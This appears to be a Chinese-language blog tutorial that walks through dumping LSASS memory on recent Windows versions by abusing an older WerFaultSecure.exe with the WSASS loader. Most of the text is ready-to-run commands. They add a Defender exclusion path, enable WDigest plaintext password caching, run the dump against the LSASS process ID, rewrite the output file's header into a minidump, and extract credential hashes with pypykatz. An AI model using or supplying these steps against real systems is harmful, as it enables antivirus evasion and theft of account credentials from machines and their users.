在较新版本的 Windows 中,LSASS 受到 PPL(Protected Process Light)机制的保护,所以即使我们拥有管理员权限,也没办法直接访问 lsass 进程的内存区域,除非具备内核级权限或本身同为 PPL 保护进程。
针对这种机制的保护,就可以用到“WerFaultSecure.exe”,它独特的机制可以负责在应用程序或系统进程崩溃时收集并上报故障数据,属于 Windows 错误报告服务(WER)组件。
本文通过新版本 Windows server 2025 中的 WerFaultSecure.exe 工具来演示在新版本(包含 Windows 11 系统)中获取 lsass 进程内存。
1. 详细操作
首先将旧版本的 WerFaultSecure.exe复制至目标机器,随后使用 WSASS加载器(github下载地址;https://github.com/2x7EQ13/WSASS)激活其转储 LSA 内存区域的功能。
先设置白名单名录
powershell执行
Add-MpPreference -ExclusionPath "C:\users"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath #验证排除项是否添加成功
cmd执行
powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\users'"
powershell.exe -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath" #验证排除项是否添加成功
开启 WDigest 协议的明文密码缓存,Windows 会将登录密码明文存储在 LSASS 进程内存中。(这主要针对旧版 Windows。如果你是在 Windows 8.1 / Server 2012 R2 及以上版本,微软早已通过补丁关闭此功能,即使注册表设为 1 也无效)
CMD执行;
reg add hklm\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
等待下次用户登录windows(这里作者仅做测试直接注销windows后重新mstsc连接)
PowerShell执行查找lsass的进程[uid];
Get-Process lsass | Select-Object Id

在存在WerFaultSecure.exe的文件路径打开cmd执行
WSASS.exe "C:\path\to\WerFaultSecure.exe" [LSASS_PID]

运行后会在 WSASS.exe目录生成一个 proc.png,将其 PNG 头更改为 {0x4D, 0x44, 0x4D, 0x50}(MDMP),即可作为 MINIDUMP文件。(注意;在EMeditor以二进制方式打开(十六进制视图)打开)

随后使用 pypykatz解析即可获取提取的密码凭证。
Github下载pypykatz路径;https://github.com/skelsec/pypykatz
下载后CMD执行
Via PIP
pip3 install pypykatz
安装
python3 setup.py install
在存在WerFaultSecure.exe的文件路径打开cmd执行保存好的png文件
pypykatz lsa minidump proc.png

到这里完美收官!成功解析到哈希!
2. 可能遇到的事件
1;在使用pypykattz遇到python环境变量问题,只需将将pypykatz文件丢到环境变量即可。
2;在获取png文件时,没有等待执行打包完成就去编辑,会导致文件缺失。











暂无评论内容